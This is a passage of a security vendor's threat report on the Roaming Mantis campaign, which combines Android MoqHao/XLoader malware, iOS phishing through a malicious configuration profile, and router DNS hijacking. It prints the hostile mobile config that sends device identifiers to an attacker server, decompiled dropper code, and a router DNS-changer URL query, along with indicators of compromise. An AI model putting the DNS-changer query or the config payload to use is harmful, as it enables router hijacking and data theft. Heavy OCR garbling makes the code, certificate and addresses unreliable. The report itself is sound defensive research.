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One year has passed since we published the first blogpost about the Roaming Mantis campaign on securelist.com,
and this February we detected new activities by the group. This blogpost is follow up on our earlier reporting about

the group with updates on their tools and tactics.

Mobile config for Apple phishing

Our key finding is that the actor continues to seek ways to compromise iOS devices and has even built a new landing
page for iOS users. When an iPhone user visits this landing page, they sees pop-up messages guiding them to the

malicious iOS mobile config installation:

@ example.com X securtyapplecom D security.apple.com S

For your convenience, please perform
a network security upgrade, re-login
to your apple account after installing
the certificate, which has been used
Close to reactivate the system.

This website is trying to cpen Settings
to show you a configuration profile. Do

The APP store account has a security

exception, please lag in again, you want to allow this?

lgnore  Allow
Close

Install

Cancel

< h m @ < h M @ < h m @

Pop-up messages and mobile config installation

After installation of this mobile config, the phishing site automatically opens in a web browser and collected
information from the device is sent to the attacker’s server. This information includes DEVICE_PRODUCT,
DEVICE_VERSION, UDID, ICCID, IMEI and MEID.
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Cixml wversion="1.0" encoding="UTF-8°31>
RUDOCTYPE pliat PUBLIC "-//Rpple//DID PLIST 1.0//EN® *
brep:i/Swwe.opple. con/DTDa/ Propestylion-1.0.ded">
<plist version="1.0">
<dictr
<key>PayloadConteant</ key>
<disty
<key>URL: kay>
<scring-https://Iiakecd. com/Aople/indax. Dhio/ recaive
</atring>
<key>DeviceAttributes</ key>
<ATITAY>
<atring>TDID</atring>
<atring>IMEI</string>
<atzing>I0CID</ atzing>
<string>MEIDC/stringy
<atring>VERSION</string>
<atring>PRODOCT</string>
«/farrays>
</fdise>
<key>PayloadOrganizations/keys
<aTringrgSagawa-mgr . com</atring>
<key>PayloadDisplayHame</ keys>
<acring>5afety certificate</scring>
<keyrPayloadVarsion</ key>
<integerrl</integers>
<key>PayloadiUID</ceys
43tring>3C4DCTD2-B4ATS-2375-485C-0RBEDTITAES I /ating>
<keyrPayloadldentifier</key>
<string>sagawa-pgr.com-serviced/atring»
<keyrPayloadbescription</key>
<azring>This docoment is only nsed to install
oartificatesc/string>
<key>PayloadType</ kay>
<acring>Profile Sarviosd/string>
</dict>
</pliac>

XML and CA in mobile config

subject=/TID=JBT2ZRCVI2/CH=1Fhone Developer:
zeayfT3T978vakea. . 20, g (HIZVAUUCIT) /OU=9WNESE2QME/ 0=HGEFE Gb/C=US
issuer=/C=U5/0=Apple Inc./OU=Apple Worldwide Dewveloper
Relacions/CH=kpple Worldwide Developer Relations Cercificacion
Aucharicy

====-BEGIN CERTIFICATE-----
MIIFnjCCBIagAWIBAGITPkgh+BFI 2pAwD(Y TKoZ ThweHAJELBQRwgZYxCzATBGHY
BRYTALVIMRMWE Y DV QR DAREcHB E S BVEmHuH SWwwHg Y DVROLDCHEcHEBa L 5B XR3 T2
ZHAPIGUGREVE IWxweGVy IFT1bGF0aN Jucz FEME TGA1 TR Mne TOXNBwb TGV 2 SyboRa
AWR1IER1dnmVab3iBlciBSINxhdElvbnMgQ2 VydGlmaWNhdGl vbiBEdRab3JpdHkw
HhoHHT geHTE yHIMzMT EwWh o NI kotH T EyMDH HT Ewidj CB Rk TEaMBgGComS JomI Bixk
RAGEMCkpCHz IyS0MWE Y D ABEgHVERMNKLOaC duZ SREIXZ1bG 0w IX I ETHp1 I 1=
Hzk30TdheWFob23uY2 BuanAgrREQSW1ZEVVVIHz cpMRMWE QYDVOQLDRCSVOSLUZgY
UU0 4HREwDWY DVQQEDAR T ZOVLQABMY ) ELMA KGR UEBhMCOWV HwggE AIMROGCSqGS5Tha
DREBRQUARS IBDwAWggERAa IBRQDLEPHZG qin /MLO4AVPRRAcUEN1vEa0 TLX29R1
UAZGTRZL4AYEIFMRITaVeZFAIRXS/ HBxDemao SenJwFOSzukcK 9 HSHAS 289G va
1hPLEUE i nD+NDOSFSIEYRIAT tv i xpREcGIpIHz cMmIL T4 gTrmgREIenBz Jwl Vo §
2y+BZJEYIaNlIFkRYZRQI60691 P4R0IRmSqobhL1bE e i3 3vi+0iunll/Jowedh
xavd KN Ime i 72 Spyx JREY SDPT cANWUC e A SaLAVKbn s X £ ok / UowGiN4W I bWy
EqlkThLadICmSUddkqR ]l GEvzaKl T fSxaVeIVIeIXFehi HGAdhgMBARG] ggHMITE
TTAMBGNVHRMBATISERIARMBIGRIUAINYMBARE IgnFwEpThgl+ ZEUVIHNCVIVRDS
MDBGCCaGARUFBwERBDHWHT AvBggr BgE FBQowAY Y] alROcDowl2 83 c3AuYXBWD G T
Y29tL29] cIRwMy 1 3d2 Ry HDEWwggEdBgNVHIAE ggEUMI IBEDCCAQWECSqES IbIYIQF
ATCE/ 1CBwwY I WY BBQUHAgIwgb Y MgLNS INp WS Z58veiB0atGlz IGHLonRpinml)
YRRIIGTS IGFue S B Y IO S BNl BV z IGF Y2 Vwd G FuY 2 Ugb2 ¥gdChl THRa IR g
YXBwbG1l 1 YWIaZSBzdEruiGryZCO0IXJucyBhbmlg Y2 9uIGl0aN ducyBvIiBlc2Us
IGNlcnRpiml 1 YXR1IHBvbGLljeSBhbmg Y2 VydoleaWNdG lvbiBwemFidGl 258z
4EFOIN1lbaRzLiAZBggrBgEFBQeCARYqaHROcDevL3d3dy SheHBa 2251 b2 0VE2Vy
dElmaWihEGVhdXRobITpdHkvMBYGAL U JOES wiMMACGCCaGAQUIBRMDMBOGALTY
DQWBBQLGme i TIRWNWE / TeiWgtal JEPrCz AOBgHVHQEBA L AEBAMC B4 AwEwYHOZ I
Rvey ZAYBAGER / wOCBQAWDQY JRa ZI iveNAQELBQADG S EBADLFP2 &b,/ LAPL FGRUMST
E+xymTeNwwi D HETJye T SVICECH VREr cCoAEQI fd4gek] TS eJabqiTaCFoq Wl
Wl THRASz Va7 2b5qe l FFLRILOT bk 3m2Hnr /2 LAdqRI FPxn 1 QluwqR 2 UWBIohEJ1 50
HeR4RY I rq+wWEIwlol+ IaDEI+TgvSng+lgdGSbat cRE/ KT fvJoulPwaGasAbS2Fn
CuoCeyLPFIbsavaYeklepghaT50eofxTHnlp i SSUL 2/ Keo¥elvl Tih RN D
EwBoC2Zzh/Frl3iTVIDea975qRpaut kD) 6d2dVvruaTROSK TV IMYu /08 ST ETxcxd
tol=

————— END CERTIFICATE-----

The CA contains the suspected developer’s email address, “zeeyf79797@yahoo.co[.]jp”, which could be malicious.

We created a test account for this research and used the account credentials at the phishing site. As soon as the threat

actor received the ID and password, the criminals attempted to log in to the account from Hong Kong. After entering

the credentials, we were directed to the next page, which tried to steal the two-factor authentication code (PIN) sent

to the device.
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Re-spreading the updated sagawa.apk Type A (MoqHao/XLoader)

On the Android front, our telemetry data shows a new wave of malicious APK files which we detect as “Trojan-
Dropper.AndroidOS.Wroba.g”.
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sagawa.apk Type A has spread since Feb 26

We have analyzed the malicious APK file and confirmed that it is definitely a variant of sagawa.apk Type A malware,

also known as MoqHao (Mcafee) and XLoader (TrendMicro). Type A malware was earlier distributed via SMS in
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Japan.

We also found out that the threat actors had compromised routers to overwrite DNS settings and discovered that the

following two features were updated as well:

¢ Decryption algorithm for encrypted payload in Trojan-Dropper module

 Stored destination and accounts for getting real C2

Decryption algorithm for encrypted payload in Trojan-Dropper module

Compared to the previous version, the Trojan-Dropper’s decryption function has been altered slightly (change
highlighted in purple):

String y = “.Loader";
public void onCreate() |
super.onCreate( )}
try {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(getFilesDir().getibsolutePath());
stringBuilder.appendiFile.separator);
stringBuilder.append("dex");
File file = new File({stringBuilder.toString());
if (file.exists()) {
file.delete();
}
BytedrrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ey

InputStream open = getfAssets().open{"bin™);

open.skip(4);

InflaterInputStream inflaterInputStream = new InflaterInputStream(ocpen);
byte[] bArr = new byte[28487;

while (true) {
int read = inflaterInputStream.read(bdrr);
r

if (read == -1} {
inflaterInputStream.close();
byte[] decode = Basefd.decode(byteArrayOutputStream.toByteArray(), 8);
FileQutputStream fileOutputStream = new FileQutputStream(file);
fileQutputStream.write(decode);

Added 4-byte skip from encrypted data in decompiled code

Why did the attackers change it? Well, the simplified Python script for extracting encrypted payload was disclosed in
our previous blog posts. We are suspecting that the actor considered this and introduced some minor changes to their

decryption algorithm to evade detection by security products and researchers.
However, we have updated the simplified Python script according to this change:

sagawa.apk_typeA_payload_extractor_1.01.py

#!/usr/bin/env python

import sys
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import zlib

import base64

data = open(sys.argv[1],"rb").read()

dec_z = zlib.decompress(data[4:]) # open.skip(4);
dec_b = base64.b64decode(dec_z)

with open(sys.argv[1]+".dec","wb") as fp:

fp.write(dec_b)

Stored destination and accounts for getting real C2

In the previous campaign, the three accounts “haoxingfull”, “haoxingfu22” and “haoxingfu33” on @outlook.com
were stored inside the samples for the purpose of retrieving the C2 server address. In order to fetch the C2 server
address, the email service was used the real C2 destination was delivered to the victims in an encrypted form from
the email subject. In the new version the actor has switched their tactics for retrieving the C2 address from email

service to fetching it from Twitter.

loc_30B6A: # "addr_url’

const-string v1l, ahddr_url

const-string v2, aHttpsTwitter_c # "https://twitter.com/%s"

invoke-interface {v0, v1, v2}, <ref SharedPreferences.getString(ref, ref) imp. @ _def_ SharedPreferences_getStringiLLL>
move-result—object w0

sget-object vl, stru_DABO

const-string vl, aUrlformat # "urlFormat"

invoke-static {v0, w1}, <void h.a(ref, ref) h_a@VLL>

const,/4 vl, 1

new-array v2, vl, <t: Object[]>

“https://twitter.com/%s” is stored in the malware

The three suspected Twitter accounts were easily found as well, because the sample had the account IDs stored

together, separated by the “|” character just like the old samples:

const-string B vl, aAddr accounts § "addr accounts
const-string v2, aLuckyB8755Luck # "lucky88755|luckyd8745|luckyB876543"
inveke-interface {v0, vl, v2}, <ref SharedPreferences.getString(ref, ref) imp.

Three account IDs separated by the “|” character

The decryption algorithm for the real C2 address remained untouched — the malware connects to the extracted real

C2 via web socket. In addition to the three accounts mentioned earlier, we found several other accounts:

» lucky88755

¢ lucky98745

* lucky876543

» gyugyu87418490
¢ luckyonel232

¢ sadwgewqeqw
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The decryption algorithm for extracting the real C2 from Chinese characters is the same as in the previous sample, so
our scripts from the old blogpost will still work. All the accounts are related to the same IP, although the port

numbers are different. The table below shows these changes as derived from the account “@luckyone1232”.

Datetime (UTC) Encrypted data Decrypted real C2
February 252019 11:30 & RIRREEIREMREIRARSEIRERER 114.43.155[.1227:28855
February 26 2019 08:00  {RREREIFIFHMRAAEIREIE B EIR AR 220.136.47[.1169:28855
March 02 2019 01:00 {RIBFMREI IR MR R RERER R 220.136.49[.]137:28855
March 05 2019 06:00 R BRI MR IR R BRI 220.136.39[.11:28855

March 07 2019 03:00 SRMEERERBRE SRR ERR 118.168.130[.1236:28855
March 09 2019 10:00 B R AR RS R AR E R R AR 61.230.210[.]228:28855
March 13 2019 01:00 HREAE AR SRR AR ER R 125.227.174[.135:28855
March 21 2019 01:00 SRR BERR AR RRB BRI 1.169.203].148:28855

We also noticed that the threat actor has introduced a new backdoor command “getPhoneState”. The following table

shows the comparison of the older and newer versions of the malware:

Date August 08 2018 March 03 2019
MD5 956£32a28d0057805c7234d6a13aa99b 651b6888b3f419fclaac535921535324
File size 427.3 KB (437556 bytes) 396.0 KB (405504 bytes)
sagawa.apk Type A sagawa.apk Type A
Malware
. MoqgHao (McAfee) MoqgHao (McAfee)
e
P XLoader (TrendMicro) XLoader (TrendMicro)
Encrypted
payload \assets\a \assets\bin
(enc_data)
Decryption
algorithm payload = payload =
for base64.b64decode(zlib.decompress(enc_data));  base64.b64decode(zlib.decompress(enc_data[4:]));
payload
Backdoor sendSms sendSms
commands  setWifi setWifi
gcont gcont
lock lock
bc bc
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setForward
getForward
hasPkg
setRingerMode
setRecEnable
reqState
showHome
getnpki

http
onRecordAction
call

get_apps
show_fs_float_ window

ping

@outlook.com (email)

haoxingfull
haoxingfu22
haoxingfu33

abed

for i in range(len(ext)):

dec = dec + chr((ord(ext[i]) — 0x4e00) >> 3 A
ord(‘beg'[j1))

j=(+1) %3

setForward
getForward
hasPkg
setRingerMode
setRecEnable
reqState
showHome
getnpki

http
onRecordAction
call

get_apps
show_fs_float_ window
ping
getPhoneState

https://twitter.com/%s (SNS)

luckyone1232
sadwgewqeqw
gyugyu87418490

<title>abcd([\\u4e00-\\u9fa5]+?) “;

for i in range(len(ext)):

dec = dec + chr((ord(ext[i]) — 0x4e00) >> 3 A
ord(‘beg'[j1))

j=(+1) %3

Rogue DNS settings in compromised routers again

In late February 2019, we detected a URL query of a malicious DNS changer. Here is an example:

http://192.168.1.1:8081/userRpm/LanDhcpServerRpm.htm?

dhcpserver=1&ip1=192.168.1.10&ip2=192.168.1.150&Lease=1200&gateway=192.168.1.1

Edomain=&dnsserver=17

URL query of malicious DNS changer

1.244.33.1148dnsserver2=171.244.33.116&Save=Save

The router’s DNS setting is potentially compromised if the device reads the URL query of the DNS changer from

localnet under a router with the following conditions:

1. 1 No authentication for router panel from localnet

2. 2 The device has an admin session for the router panel

3. 3 Simple ID and password (or default) for route panel like admin:admin
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As we have observed, several hundred routers have been compromised and all pointed to the rogue DNS IPs.
This code overwrites the rogue DNS IPs below into the DNS settings of routers:

o 171.244.33[.]114
e 171.244.33[.]116

Geographical expansion

According to our detection data, new variants of sagawa.apk Type A (Trojan-Dropper.AndroidOS.Wroba.g) have
been detected in the wild, based on our KSN data from February 25, 2019 to March 20, 2019.

Trojan-Dropper.AndroidOS.Wroba.g geography

Number of users
N 1-9 . o-22 22-98 N 98-120 WM 120- 340

Geographical expansion from KSN data

The worst affected countries are Russia, Japan, India, Bangladesh, Kazakhstan, Azerbaijan, Iran and Vietnam. Our
products detected this malware over 6,800 times for over 950 unique users during this period. We believe this attack

wave has a much bigger scale and these numbers reflect only a small part of this campaign.

Conclusion

We have seen increased distribution of sagawa.apk Type A since late February 2019. This wave is characterized by a
new attack method of phishing with malicious mobile config, although the previously observed DNS manipulation is
also still actively used. We find the use of malicious mobile config especially alarming as this may cause serious
problems for the users. As explained in an earlier blog post, “the profile could configure the device to use a malicious

proxy or VPN, effectively allowing the attacker to monitor everything.”
We recommend users take the following steps:

¢ Change the default ID and password, and apply the relevant security patches to counter these threats;
e For Android users: do not download APKs from third-party sources;

e For iOS users: do not install a non-trusted third-party mobile config.
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For further information about this threat actor, please refer to our previous blog posts about Roaming mantis:

¢ Roaming Mantis uses DNS hijacking to infect Android smartphones

¢ Roaming Mantis, part III: iOS crypto-mining and spreading via malicious content delivery system

Kaspersky Lab products detect this malware for Android as:

¢ HEUR:Trojan-Banker.AndroidOS.Wroba
¢ HEUR:Trojan-Dropper.AndroidOS.Wroba

Finally, we would like to show our appreciation to the Japanese researchers @ninoseki and @papa_anniekey, who
have shared and discussed with us their results of Roaming Mantis campaign research. The criminals are still rapidly
improving their methods: we discovered some updated sagawa.apk Type A this April, the fresh sample has embedded
DES algorithm instead of some decryption feature. We’re going to track Roaming Mantis activity and publish any

new activities in the future.
Indicators of compromise (I0Cs) examples

Malicious hosts:

114.43.155[.]227 real C2
220.136.47[.]169 real C2
220.136.49[.]137 real C2
220.136.39[.]1 real C2
118.168.130[.]236 real C2
171.244.33[.]114 RogueDNS
171.244.33[.]116 RogueDNS
61.230.153[.]211 Landing page
154.223.62[.]130 Landing page
ffakecg[.]Jcom Landing page
sagawa-mwm[.Jcom Landing page
sagawa-mqd[.Jcom Landing page
sagawa-bz[.Jcom Landing page
nttdocomo-qae[.]Jcom Landing page
nttdocomo-qat[.]Jcom Landing page
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Suspicious Twitter accounts:

¢ luckyonel232

¢ sadwgewqeqw
e gyugyu87418490
¢ lucky88755

e lucky98745

¢ lucky876543

sagawa.apk Type A and its modules:

417a6af1172042986£602cc0e2e681dc APK file
651b6888b3f419fc1aac535921535324 APK file
0ade8d3fe5ee383ba3a22d0f00670ce3 APK file
870697ddb36a8f205478c2338d7e6bc7 APK file
7e247800b95c643a3c9d4a320b12726b \classes.dex
7cfb9ed812e0250bfcb4022¢567771ec \classes.dex
8358d2a39d412edbd1cf662e0d8a9f19 \classes.dex
7ctb9ed812e0250bfcb4022c567771ec \classes.dex
af2890a472b85d473faee501337564a9 Decrypted dex file
¢8d7475a27fb7d669ec3787fe3e9c031 Decrypted dex file
d0848d71a14e0f07c6e64bf84c30ee39 Decrypted dex file
€2b557721902bc97382d268f1785e085 Decrypted dex file

Source: https://securelist.com/roaming-mantis-part-iv/90332/
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